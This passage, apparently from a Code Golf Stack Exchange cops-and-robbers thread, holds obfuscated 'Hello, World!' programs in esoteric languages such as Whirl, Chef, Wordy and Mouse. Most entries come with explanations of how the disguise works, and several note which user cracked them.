[here](http://p-nand-q.com/programming/languages/unbabtized.html).\nAs noted on the website, the interpreter was written for Python 2.2, which allowed non-ASCII characters in source code. You can either download [Python 2.2.3](https://www.python.org/download/releases/2.2.3/)1 or fix it for Python 2.7 by inserting the following line at the beginning of the interpreter:\n```\n# coding: latin1\n```\n### How it works\nFirst of all, whitespace should *not* be allowed in the source code according to the website, but trailing whitespace after a complete instruction seems to cause no issues.\nThe command `$0,0` executes `memory[0] = memory[0] == memory[0]`, which does not help greeting the World in any way. I've added this command solely to distract from the fact that `.` acts a statement separator.\nThe rest of the code is composed of thirteen `:x` commands, which writes the character with code point **x** to STDOUT.\nAn unobfuscated version of the source code would look like this:\n```\n:72.:101.:108.:108.:111.:44.:32.:87.:111.:114.:108.:100.:33\n```\n---\n1 Compiling Python 2.2.3 was surprisingly uneventful on openSUSE 13.2. `make`, `make install` and the resulting executable all printed a lot of warnings, but UNBABTIZED worked as intended.\n[Answer]\n# ><>, 353 Bytes, Cracked by Sp3000\n```\n//This seems almost fine\n//\"Hello, World!\" r^2 times\n//But will it be too wordy?\n var r = 2;\n var a1 = \"Hello\";\n var a2 = \",\";\n var a3 = \" World\";\n if(a1 != a2 && a2!=a3&& a3 != a1){\n r+=(a2===\",\")?1:0;\n a1+=a2;\n a1+=a3;\n if(a1 == \"Hello, World\")\n for(var i = 0; i++; i < r*r)\n {\n log(a1);\n }\n }\n```\nAs discovered by Sp3000, this is a ><> program. All unused whitespace and characters replaced with . character for readability.\n```\n/.................. ....\n./\"Hello, World!\" r^.......\n//.................o.......\n ...........\n ..................\n ..............\n ..................;\n ..................!................\n ..................?....\n ............\n ............\n ..................l..........\n .................. ................\n ........\n .................\n ........\n ....\n```\n[Answer]\n# [Higher Subleq](http://esolangs.org/wiki/Higher_Subleq), 52 bytes, cracked by John WH Smith\n```\nint puts(char*);int main(){puts(\"Hello, World!\\n\");}\n```\nThis doesn't really look like an esolang, but no sane C derivate would implement `puts` without an implicit newline.\n[Answer]\n# Mascarpone, 30 bytes, cracked by Sp3000\n```\n[!dlroW ,olleH]$.............\n```\nStack-based? Maybe...\n---\n`[!dlroW ,olleH]` pushes all of those characters to the stack (yes, including the delimiters); `$` pops the `]`; and then the `.`each print one character. The program exits with a `[` character still on the stack.\nI would have made the output use a loop, but I can't figure out how they work...\n[Answer]\n## [Haskell](https://en.wikipedia.org/wiki/Haskell_%28programming_language%29), 637 bytes\n```\n(program, main)= script $init\nstring= struct( \\ \n char(show)-> do show; putChar(char); while 1 ) (return 0)\nscript\n stack= auto $string(\"!dlroW ,olleH\")\nstruct buffer (public) = share%: \\ \n align->flip\n (field public buffer) align\nauto buffer= (init, buffer)\nshare from = select x where x = from x\nwhile skip=return 1; skip= skip+1\nselect x | ~\"World\"<-\n \"Hello\"=x\nloop k for[]\n buffer=(const ($k) ($skip) id)\nloop while not(-- $x) {\n unsigned: i{-1}\n terminal.write(buffer{eval $i--})\n x= not (unsigned) $x\n $i `const `skip{-2}\n}\nmemorize{+,-}\n(goal, field)= auto loop\nfinish%:\n goal= finish $goal\n```\n### Deobfuscation video\n[![enter image description here](https://i.stack.imgur.com/HB2Ul.gif)](https://i.stack.imgur.com/HB2Ul.gif)\n[Answer]\n# GNU bc, 36 bytes\n```\nmain = do\n print \"Hello, World!\\n\"\n```\nA [Foo](http://esolangs.org/wiki/Foo)-immune version of my [previous attempt](https://codegolf.stackexchange.com/a/54883/34531).\nThis requires the [GNU version](https://en.wikipedia.org/wiki/Bc_(programming_language)#GNU_bc) (or any other version that features the `print` function) of bc. The first line is for obfuscation: in bc variables don't have to be declared and are initialized with `0`, so we have useless assignment but with valid syntax. The second line simply prints `Hello, World!`.\n[Answer]\n# [Whirl](https://esolangs.org/wiki/Whirl), 12302 bytes, cracked by Artyom\n```\n3.141592653589793288462643383279207884697269399375705845974944595347816486286788\n99262883192534210706798214888651326231664709384460255058223879585940892848425745\n72845027259385711356596446299474149373219244288149756659334467284756582337867838\n65290203309945648566923460348630458326848283390605263242149273724387006606305588\n17688152992197288925489171536436729259066006733053554682146652138414195194155260\n94330572703655599939530920867773809328677934055585480744623799627495623598880527\n24891227938383069449529853677362440656643086026394946395224737790772179866943722\n77753919727629377675238467487846766940533204456812714526359282678571134275778966\n91336346707244684405062249534709465459853763597922796832289235478169561899890259\n60864034418759863524774774309960578707288349994968372978069966059761732846096388\n59502445945534691833264252238825334468583526193118812846000913783875288658753300\n83864206877776699473035982539904287554687375595627688823537875937599577858577805\n32776236806644850927876620695909236420498932095257201465485963278875956453483837\n96838034695203531186296899577362259941389124975177528347993759558285724245455065\n59507295336268647288558590750983897546374649398592550644919277416611334898488242\n52838361603563707660104090588242945596698926767837469448255372774726847604447334\n64620804668425906949629339367707038955200475226235696602405803475079754225338243\n75355870402474964432539147992726042692227957823547896360097417216412199245863150\n30286182974555706749838505494548586926995690927680797503302955321165344987902755\n96923648066549926988983429775356636980742654052787255181841757467289597779279388\n41818470600361452491928732372847723507474409737685487603695573585520334747338494\n68438523623907394243330547762486862528983569585562099235222984272650254256887658\n79049466135346680466862723279578604578438382596797668145416375388858636395568364\n42251252351173929838960843284886269456042419752853222166612863067442786220391949\n45847123123786260956364373937287457764657573963453890065832645995413397478427592\n49946576497895826996831835259574982582262952248949772471947826848260647699090264\n09363944374253057682834962524517493996554334298297906592509472256964625557098583\n37419517885979772975598339164753928428533268683862942774953993855905255953959433\n04997252488324598727364469584868383677642782609902460824124388439242124413654976\n27857977456914354977731296960898346948685558404663534220722658284886485584560285\n06516842769452237467678895252138528549954666727823386476596121354886233577456498\n53559363456817482408253507616947545609659699402822887973680364886963686722878894\n00645535933186179256819228747829638249385894397149996759952213655497888938297849\n25682998948722258804857566604270477555132379641450523746336364742858444795565807\n82175714135473573952311842716670243596953633544295248293746788084546540359027993\n44537423173125785399621983874478584784896823214457738687563439064302584530960484\n87305879614689674913278191797939952969449663428754440643746423778392379998379085\n94956886467544269323974894090748649493596256794520219514655322523160388893091219\n37621378559566319377876834399667921793467221825629996638035205930680382477345492\n82665414663925211497442854732518666002332434088198710486339734649450453935796268\n56189555844665879699826397473658445757425913289786155082097220628043903975931567\n71577914253378699360072305587631763594248738252472205369284988263864258673235795\n98424848829560980659575972695722393256711632291998169481528077350679274858322287\n98652093539657255280835792573698820614442122675192346712331432676373699086585463\n98575019707656549685279407657668755556588879099699597833873455283386355276479285\n35898206485489632952933029857164253675279278915488497559859865635880270988994309\n22448095757728089059232332609729971288443357326848938239119326274536679058060424\n23038630324382499675828524374417224132865518093773444030757489218291913921335385\n19762408389044929329526084244485963766983895228384783125552678218141957385726243\n44418930396864262434407732269780281731891844660964468232527262070226522722986803\n96665573092547140557853769466820653509896523948620564769332570536356629185580007\n29360659876486117940453348850346363255686753249444668639626579787788556084552965\n41366542853961434443185867697514566130980072243782763913240575274947042056223053\n89645673099719270004078547332699392894546649458807972708266830634328587858983359\n35838713165757446795357163775259203074755765588405250676228534932266474550979259\n23599479654737612551765675135759787966645487937450842696848903746399473329621073\n40437578997859624589019389413111540429782856475037031986915141287080859904806094\n12147221617947647982622434254854540332957685306842288937583043063321751829798662\n23717215916977196925474873808665494945057465406284386639379033976926567214618733\n67362965712191843638327106496274688260786925602902284725043318211869829413000422\n96597849637292533707520475958456609663386294726547364253308077033754590673562350\n72835405670402667435436222207725897504958098444893335973438788769625993968334193\n41447377641845631298608029088687463260472756952624965860573221681694103795667353\n82297436372947867242292465436630198367692823828568996441484436463741456344966894\n94092432378969070627790223625382216889573837986235345937364765512289357865158416\n37557828735263446542695326972037343546538967774860316996655418733879293344195216\n41343899484448736567383962499347983883480927777303863873243077217545654542237772\n92121155316609628008592636219759882716133231668397286193366863360627356763035447\n76280350450777235757105859548702790844356240545587806246436267945622753399340783\n30336254232783994975382437205835369477389926063883346776279695970304835923077909\n87040854943748484408227726346564704745878477872009277652807387679077073572534447\n30685749733492436231338252443163128484251219256567780694763528083047713747816437\n84718509092852520756783934596562834994347595625865865570502290492529985893385572\n24264829397285847831634577775626888764462482461579463395352773487354892939587617\n48256047470996439643626760449256274204208924856611966254543372137535958450687724\n60290161836677524661634252257749542996299593064553779924437340432875262888963995\n87947572917464263574152549793916513571053694049609393251890760208252726987985318\n87705842972490677863299629009049256697373727047684726860849003372724242916513715\n00536832336435038901692989392234451722413412596965316784408745896012122859997662\n34593773444826409038905449544400679869075485060263275252983461874078668088183385\n11228334592584865855539152133289776528430635655002668282949344539765527989721754\n61395398368939363839474211996653855352842056853386249672523340283067642328278929\n25077926294632295669898989354288629562701621835646227134967152883900737381198934\n97346223961136854066439939509790190699639552453072453585685521956733229299119439\n48568034490398255935305226353436592042994745558563860234395544959778377972774411\n77271117238434354394782908585986040837400635344339588856486795731547129658424589\n89332323342117351545940536556790686627333799585135625734322988273723198997576406\n80781119635833565944873168223602876496286744404774649779950549737425626951049007\n78698683593814657712684492964871855614537233786733539066883834363565537949864092\n70563692934738723920837607023029860367938627089438799262066295954973764248928307\n22812690945546684760357626477379467520519475715552781965362132392649616023635832\n59074227282931872735052772790055676542552487925303435039885253323215762530906425\n46392291522865627169535919565897514836034822769306247435366256916378154785799528\n43667957063208615391514452527473924544945423682886064340848486377670896170783024\n93404341725946376484393414334123518975769352164637679693374950297085759869239798\n82936429939949074362366467411833940326590840443780503332945257423995482965912285\n08555722572503017125749296837242292652522711472676756222415420506884863484756836\n99983966400136299627838698929165372884222691441407728862750784375167197878326992\n82120660418371846535567252532567532863291742487721825399764157959847835622262914\n86003465872298053298965322129174878823273427922224533985666472691495556284251693\n27574202840379980663658254809269880254566181729678266427655914225194568550654653\n05873825462703369316785177699747718667114965583434340693385880740386455433676323\n08458768722660348943909562019939361831529168645288738437909904236747336394904555\n93845304054974347574811935678913073775572902823555912885309066920376749520332299\n94464676851422144772793937517834436689910433365456735475998550468450263655128862\n28824462575946333039607225383742882049883538457391771519682887478265669599574494\n66175634410752239709683478755355984617541738868379944697486762555665897648483588\n45344277568790029065176283529416344262129642435231176006652012412526598558512861\n78583823204497684423608007593045761891234982927965619875687228726750798025547695\n49245563573212214333966974992356312549478024985340934923827553799830791738622515\n22742995888072473625906785451333123948749675791195532673430282448860454263639548\n75944822267789624825179289647669758358327438425630296924488962566874332326092752\n49603579964692565049368083609003238002934595889706953653494060340286654437588909\n45632882253545259661564882465151875471196258443965832397543885690945030335090261\n79278332974127766514793942295298969594699576576121845609673378623625692624632086\n28692257032748492186543640021947807058656459446320469279068232073883688142435698\n13621963208088222468042248264977685896387439283903673672424888321513255623376798\n39495215297822845337667494347456813455641725437090696939612257942986467254657846\n83886244458823445934789849225284786050490252424770292547205734551050086198819769\n33924638787581085754407593079422243908663938330529425786965376431116383808834389\n34659653685634784699556978303829309716465143840705727468411237359984345225161050\n70679562352368127648483080176918371355279121542716283548360367456286790570651748\n82256981579368897669743205750596834408397550201418286724585725871457253326513490\n55924009127421624843919535998953533559594427646912691409387001564563216225428832\n61927645773106579329552498472758465082648369998922569596888592056007416552563796\n78566722796619887782794948355834357516744585522975634434893966420527984936804352\n25297598469423253312257634680002947609415979159453766955224829336655566156787364\n22536665641654733770439036223295935292694445990416087532018683793792348836894591\n51571637852992345292446773659495233510073270878426834974595645838408723727047131\n72795431542296526667621449863746459528682436944578977233254876576524133507592043\n40495340398349220233807550952290156825634274716463243354456515212669024934396739\n77042595783756555506730203923749729736354964533288869574161116496362773449598273\n69558822075735247665658985529098266539354948006887320685990754079234240230092590\n07067389603622547564789476475483466479604994632339056518453368449569697799335234\n62461477961696886885004083470405462542953699118296782468185780393889065695036650\n83243297440477184567893282336943106808702742809736248093996278617472645531925385\n44280858373694738872940630782655955954626296297070625948258698341116729964090894\n38059534393251236235548124949824364278527138385932563989295896427487573946944272\n53736694953236200453730488828556756594420735246258954873016769829886592578662242\n12496655235338294287854256404838833071165372285633591525347844598183134532904299\n99959823522053273365856407826484940764411376393866924883118962453698589175442647\n39988228462174492087776977638679572267265556259628254276535830913407092238436577\n91681284981794007680985998338492354956400572995585611349892524593669869333973513\n58148918568552653087099570899527328709258487994436860256418892256917835258607859\n56298848272953509537885574573742608592298817651557803905949408738065932266220593\n73108048548546312228257682614165514846626744459831262548524978449254843469414627\n54864932709304434039302432227488545975054742178289711277792376822578873477088091\n52142298226868586705074227255126332834497627789442362167411918677943965067558577\n35867364823993907604260076338704549907760436482046921823717648869341968968645895\n58708736062938603890576205855272368341823834546564758834351385921633639874026374\n40643549556836896423228274975330265580793453469678352858829924367497488711815893\n34945331442622876228809400736877054586596877746194176964323909206248594\n```\nWhirl ignores everything except 1 and 0. I also modified other digits randomly, but they are not relevant. When you keep only 1's and 0's, you get a [\"Hello, World!\" example](http://web.archive.org/web/20120303123241/http://www.bigzaphod.org/whirl/kang-hello_world.txt) :)\n[Answer]\n# [Mouse](https://en.wikipedia.org/wiki/Mouse_(programming_language)), 105 bytes\n```\n1[10Y:Y.Y.*X:108Z:33X.X.8+X.Y.+4+X.Y.+1+X.Y.2*-7+Y.3*2+44X.Y.+1+Z.Z.Y.10*1+72!'!'!'!'!'!'!'!'!'!'!'!'!']$\n```\nYou can get an interpreter for Mouse written in C [here](http://mouse.davidgsimpson.com/mouse83/mouse83_c.txt).\nMouse uses reverse Polish notation, so operators follow operands. (Think Lisp backwards.) Variable assignment is performed using `:` and recalling a variable's value is done as `.`. All values in Mouse are integers.\n`!` outputs an integer and `!'` outputs the ASCII character associated with the integer. All output goes to STDOUT.\nFor whatever reason, all valid programs must end with `$`.\n```\n1 [ ~ If true, do\n ~ Variable assignments\n 10 Y:\n Y. Y. * X:\n 108 Z:\n ~ Push values onto the stack\n 33 ~ 33 \"!\"\n X. ~ 100 \"d\"\n X. 8 + ~ 108 \"l\"\n X. Y. + 4 + ~ 114 \"r\"\n X. Y. + 1 + ~ 111 \"o\"\n X. Y. 2 * - 7 + ~ 87 \"W\"\n Y. 3 * 2 + ~ 32 \" \"\n 44 ~ 44 \",\"\n X. Y. + 1 + ~ 111 \"o\"\n Z. ~ 108 \"l\"\n Z. ~ 108 \"l\"\n Y. 10 * 1 + ~ 101 \"e\"\n 72 ~ 72 \"H\"\n ~ Pop values and output as characters\n !' !' !' !' !' !' !' !' !' !' !' !' !'\n] ~ End if\n$ ~ End program\n```\n[Answer]\n# Chef, 1943 bytes, cracked by Angew\n```\nHello World Cake with Chocolate sauce.\nThis prints hello world, while being tastier than Hello World Souffle. The main\nchef makes a \" World!\" cake, which he puts in the baking dish. When he gets the\nsous chef to make the \"Hello\" chocolate sauce, it gets put into the baking dish\nand then the whole thing is printed when he refrigerates the sauce. When\nactually cooking, I'm interpreting the chocolate sauce baking dish to be\nseparate from the cake one and Liquify to mean either melt or blend depending on\ncontext.\nIngredients.\n33 g chocolate chips\n100 g butter\n54 ml double cream\n2 pinches baking powder\n114 g sugar\n111 ml beaten eggs\n119 g flour\n32 g cocoa powder\n0 g cake mixture\nCooking time: 25 minutes.\nPre-heat oven to 180 degrees Celsius.\nMethod.\nPut chocolate chips into the mixing bowl.\nPut butter into the mixing bowl.\nPut sugar into the mixing bowl.\nPut beaten eggs into the mixing bowl.\nPut flour into the mixing bowl.\nPut baking powder into the mixing bowl.\nPut cocoa powder into the mixing bowl.\nStir the mixing bowl for 1 minute.\nCombine double cream into the mixing bowl.\nStir the mixing bowl for 4 minutes.\nLiquify the contents of the mixing bowl.\nPour contents of the mixing bowl into the baking dish.\nbake the cake mixture.\nWait until baked.\nServe with chocolate sauce.\nchocolate sauce.\nIngredients.\n111 g sugar\n108 ml hot water\n108 ml heated double cream\n101 g dark chocolate\n72 g milk chocolate\nMethod.\nClean the mixing bowl.\nPut sugar into the mixing bowl.\nPut hot water into the mixing bowl.\nPut heated double cream into the mixing bowl.\ndissolve the sugar.\nagitate the sugar until dissolved.\nLiquify the dark chocolate.\nPut dark chocolate into the mixing bowl.\nLiquify the milk chocolate.\nPut milk chocolate into the mixing bowl.\nLiquify contents of the mixing bowl.\nPour contents of the mixing bowl into the baking dish.\nRefrigerate for 1 hour.\n```\n[Answer]\n# APL, 39 bytes, cracked by Mauris\n```\n\"Helo, Wrd!\"[0,1,2,2,3,4,5,6,3,7,2,8,9]\n```\nEfficiency is everything.\nThis works in the [ngn-apl demo](http://ngn.github.io/apl/web/index.html#code=%22Helo%2C%20Wrd%21%22%5B0%2C1%2C2%2C2%2C3%2C4%2C5%2C6%2C3%2C7%2C2%2C8%2C9%5D).\nObfuscating APL is no easy task if the intention is to make it look *less* like APL.\nThis is what I achieved:\n* Double quotes do not work in all dialects. Dyalog, e.g., does not support them.\n* ngn/apl is the only dialect I know that uses zero-based indexing by default.\n* The commas aren't supposed to be there.\nVector elements are usually separated by spaces when writing APL. However, `,` concatenates so the code inside the brackets concatenates 13 singletons.\nA (slightly) unobfuscated and more portable version of the code would look like\n```\n⎕IO←0⋄'Helo, Wrd!'[0 1 2 2 3 4 5 6 3 7 2 8 9]\n```\nwhich works in [TryAPL](http://tryapl.org/?a=%u2395IO%u21900%u22C4%27Helo%2C%20Wrd%21%27%5B0%201%202%202%203%204%205%206%203%207%202%208%209%5D&run), [GNU APL.js](http://baruchel.hd.free.fr/apps/apl/#code=%E2%8E%95IO%E2%86%900%E2%8B%84%27Helo%2C%20Wrd!%27%5B0%201%202%202%203%204%205%206%203%207%202%208%209%5D) and the [ngn/apl demo](http://ngn.github.io/apl/web/index.html#code=%u2395IO%u21900%u22C4%27Helo%2C%20Wrd%21%27%5B0%201%202%202%203%204%205%206%203%207%202%208%209%5D).\n[Answer]\n# [Wordfuck](https://esolangs.org/wiki/Wordfuck), 1063 bytes, cracked by [Martin Büttner](https://codegolf.stackexchange.com/users/8478/martin-b%C3%BCttner)\n```\nThus men; die. Here meet prepar'd thrice be.\" Down his\n with lab'ring forg'd and And retir'd Now universal Phoebus at\n Hesperian living, off fields fierce cries, assail'd not for These\n foe. Spread, indulgent quarry headlong prince your bloody side crew.\n Elated call humble yield, his yield, boys camp men, cruel\n all the loudly trusty won, winter spouts they crown. Had\n what long long upon fram'd. Declare back throat, tossing his\n enters, the Nor Aeneas; said from flowing the enclose th'\n match'd Receive with neither threat. From seas painted His oppos'd,\n cried, Thus mortal the his and combine form and, wine.\n And but Let absent, sums to guest, you to spear\n to greedy of First, with love bear.\" path Whom heav'n\n That by Argive need they to blood, wert eyes the\n this To large, with Some Jove (The from hosts, the\n yoke with horses' when sail is purple at wintry his\n with more camp with have to Earth, to oppose of\n the troops with various but so, thirty well perform by\n the and waves- man! from fear victory too at fire,\n If recess banish'd transfer.\n```\nNote that line endings must be Unix-style.\n[Answer]\n# [Wordy](https://esolangs.org/wiki/Wordy), 3279 bytes\n```\n#_>^ +7K1 }OU8 4>Fk ry\\g 9Ff] A}kY ,6Fo IK`k C'td dbJ[ 0j]l MBp[ \\\">| R\\JY %+T_\n)*`7 @[{j ;x-+ _H\\= ;D@& />p? h,mx 1m;7 p+yL -#&9 0(^! ,i9^ Q%_! +&$Q %#|e %:~A\n%T[+6 ,B%? S6d} HSm\" b=Yz\nc[(; @n*# ;`,Z >~K) D\"<% <}h\" #>N. I0:o >c\"+ '>S! pQX[ U#gu $Ei0 6`>~ -/4: ,3;%\n\\c(? h;TQ LN)o 5`#; }{V* '-E. 7:5u d]0y s|JJ u+>` `|8? y,<0 \\(d! 1^*, &U`_ U/@\"\n*&7. M|f% |C#? \\{4` ,k<+ %*'D h~=_ W_+{ [#_[ %\"-r #~_F _:u. N|W6 awH' JMm, }%=R\na>*= *z+' {@\"A ,'3\\ m;}@ (I<. \"044 '}A` =K'? puB[ R= ;`(e (\\*p N$\"?\nu1c} eI%L O$*~ ]O+{ 7\"@! vU%n 'MIs E`VV ,/~q p}\\? ^DM, k:-! ,3:$ D*~< \"}T^ /z}%\n\\|h< 'Y@? }M%0 {/c. |\";P /I\"` \"[(v ~>l- #2]! j~af rZ(J 9zv` {`T, M`'& (H+: {G+>\nA#~` /_%6 4\"}! 9|rs [;$m ]J|? IZx; ^xaf WuB) =^+s |+%t [;^U ])A! H;Jb @STw x^`,\n=9~< %Z). @v3o h;Tz M9~t {'|O {J`. u^t> 9<-? )/4- `/v| )>O] /(E' ,};X ;&0. 0`o:\n(#o? ,D]< X%|* ;}*h [%C` &(A' ^@J^ {O[| &%&Q -;9` |j}) |z]+ :4:. 03(4 |}1 __^B P};{\n&{1. y(Wq T&Nq $^'D />@M @u^? $2Pd n4~d 19j/ X>#> #s[. 0-@P $B%? %w}% x=<[ =}r_\n\\#=8 ~~R> P']! }8a+ *;j! w<_` %;T: #0({ -_8< A(]^ @1`/ )@f` /=m\\ e\"~@ ~4$' (z]&\n/C|? wtn; HFe^ Gzn* @K}/ >1+{ 7/-{ 2&{} }X-% T=:> O,;. qR8; ;*0: s|>. -bFs DK^y\njk}O =~g/ B%:{ 9;@` K%}? `Xvi \"vI4 c+$) =<(b %g#. Tt'w P\\ID M`fI %#^M E#=. B&)v\n;9:? (+/7 <%q\" =,U{ -`/G r[*^ Y;@! H&d> ))@% &S,! |B*[ ~^-p 6+,~ N#&\\ ;]K* 6}=^\n/|Q) *y:\\ ,M*| %&'f =U>@ }~@Y >~3~ `P<: K\\+? WUD= |4x5 sox} /6;> [&r{ p@\", :'D}\ng{^} -]$H _B-! fJ5< p;&@ {a~! Ra+M OKo+ ydJ+ *~-T :W=; @*#, ^_e- k=_. M@QY (fQn\nX<,] >(C/ [A/. {nNT {tXg vy@e *1+} (G,. +2m[ X[=! s$,/ [@y! :l+9 -@2. :(P- +a~#\n,p%) %*)0 }*=F +\"T( Q&~@ A (%T, d&[; #`g. N*u1 @LEE zPP[ ;<)4 ,1%= [#1# =6^! IL\\e 0t@f ~}h< j'{+ <_B!\nwFE; lyr` Ja\\V '[,J 2_^! Rb;% I>$? F#-{ %+j. fB>2 J7P# Kj~n }#C> T*%` Q=/@ T;%>\n_c|{ :&$1 %Q}. rFl> #A,` `Z^! Ks\"L hUI: 6_MV ^Q-- `M/> #3/= #'n. MID{ vdn, @_l{\nv_@; `s@? H#eZ ]9my oP#e {|R# '(k! d#d; :s,? $+H@ :#=e }2-] 8,-< &1$! l(`7 e:-!\n%\\X$ k_>' <7], ~%N| r)]] -\"$u &0\\! SR:z ly]b K(wa q*@- ]{~c )}x% &@&Y >~;j #R)=\n%V*. %L1F j'~; +_0. Yz-x @kVV 0G:a `,p] (>n< >{{z /#m! S~CS #Foq %$h( +*{B G#@?\nfwr< %OQt K\"Cx @0}+ b${. F]R* k=/! C$=, @#/b 4[$* y`,^ $|*R 6,%! Z*c@ ;0\\. [&f-\n$\"/k -L{, \\@7{ ^]k\\ v$>% v#-; +G># -F@} :=R@ Z<|^ )H-~ o#~^ E#$) :a{. i52: :svA\nq&NY #g\"< )r]{ \"p%& %P}@ 'k|, #m)' ]6$. :@{& |Rcr \\]|T ;^8! b2{F rvVP D>~_\n)'A_ G(}- Y&^? 64-A %klM %Q=@ }J:; _b]@M\n#},y C\"_} s]@' \\9|- _#$o _w\"? %&43 k}\". >}u- ^]b? z%Cg f+aT vr$A /:\\z #);I $*F,\n+7^# \\%T( ,*a{ &>n? t8J( >*|F @{4? >X4T o7r+ bQ:L *^C_ ;#8& `w(( >,v. a &>}0 <[T+ `w|{ *\"k* >@b^ ~,8+ \"{;n &-X* \"l{+ [V_\" ^8$. $Ppv MY7%\n1e;R ={g# |N}_ )`[d *U\\~ \"@L# &o{, ^Y[! m13= z@\\$ /\\o. VdO\" %EBr h,cD &^(6 )t(`\n'S%, @L(? zd{g 0YR\" n;}_ 9$~^ N`$! hz>G iM_A JT8+ K)-] g[`? 1J@~ -l*? { (}r| M$d ~C}@ b(^\\\n(_B- /)_K >;^i V#%! c5H^ 'R@> {&k \"T#\\ y';) {^e? :gq7 2B(3\n+P-| s\\%( 'e~? TE8^ V6U> mB(? a_%. *\n```\nAs I hinted in the comments, this haystack is mostly needle.\nWe can greet the World by executing the following instructions:\n```\nASSIGN NOP LITERAL 16\nOUTCHAR ADD MULTIPLY VALUE NOP LITERAL 4 LITERAL 8\nOUTCHAR ADD MULTIPLY VALUE NOP LITERAL 6 LITERAL 5\nOUTCHAR ADD MULTIPLY VALUE NOP LITERAL 6 LITERAL 12\nOUTCHAR ADD MULTIPLY VALUE NOP LITERAL 6 LITERAL 12\nOUTCHAR ADD MULTIPLY VALUE NOP LITERAL 6 LITERAL 15\nOUTCHAR ADD MULTIPLY VALUE NOP LITERAL 2 LITERAL 12\nOUTCHAR MULTIPLY VALUE NOP LITERAL 2\nOUTCHAR ADD MULTIPLY VALUE NOP LITERAL 5 LITERAL 7\nOUTCHAR ADD MULTIPLY VALUE NOP LITERAL 6 LITERAL 15\nOUTCHAR ADD MULTIPLY VALUE NOP LITERAL 7 LITERAL 2\nOUTCHAR ADD MULTIPLY VALUE NOP LITERAL 6 LITERAL 12\nOUTCHAR ADD MULTIPLY VALUE NOP LITERAL 6 LITERAL 4\nOUTCHAR ADD MULTIPLY VALUE NOP LITERAL 2 LITERAL 1\n```\nWordy encodes all instructions as sentences, where the fraction of words that are longer and shorter than the rounded average selects the command.\nThe shortest sentences I could find for the used instructions are:\n```\nASSIGN xxx xxx xxx xxx xxx xxx xxx xxx xxx xxx xxx xxx xxx x x x x x x x.\nVALUE xxx xxx x x x.\nADD xxx x x.\nMULTIPLY xxx xxx xxx x x x x.\nOUTCHAR xxx xxx xxx x x x x x x x.\nNOP xxx xxx xxx x x.\nLITERAL xx x.\n```\nBut how can one conceal the fact that word length is the only important thing in the source code?\nNeither word order nor the picked word characters matter, as long as they're alphanumeric, so I decided to add random non-alphanumeric characters to each word to pad all of them to the same length. I also added a few non-words (no alphanumeric characters at all) to give the source code its pleasent rectangular shape.\nI've generated the final source code using [this CJam program](http://cjam.aditsu.net/#code='~)%2C33%3E%22!.%3F%22-'%5B%2C_el%5EA%2Cs%2B%3AA-%3AB%3BqS%2F%7BB2*mr%2B4%3Cmr_'.%26%7B'.-%22.!%3F%22mR%2B%7D%26%7D%2F%5DS*%7B_'x%3D%7B%3BAmR%7D%26%7D%2F%5DS%2F16%2FSf*N*&input=%20xxx%20xxx%20xxx%20xxx%20xxx%20xxx%20xxx%20xxx%20xxx%20xxx%20xxx%20xxx%20%20xxx%20x%20x%20x%20x%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x%20x%20x%20x.%20xxx%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x.%20xxx%20xxx%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x%20x%20x%20x.%20xxx%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x.%20xxx%20xxx%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x%20x%20x%20x.%20xxx%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x.%20xxx%20xxx%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x%20x%20x%20x.%20xxx%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x.%20xxx%20xxx%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x%20x%20x%20x.%20xxx%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x.%20xxx%20xxx%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x.%20xx%20%20x.%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x%20x%20x%20x.%20xxx%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20%20x%20x.%20xxx%20xxx%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x.%20xxx%20xxx%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x%20x%20x%20x.%20xxx%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x.%20xxx%20xxx%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x%20x%20x%20x.%20xxx%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x.%20xxx%20xxx%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x%20x%20x%20x.%20%20xxx%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x.%20xxx%20xx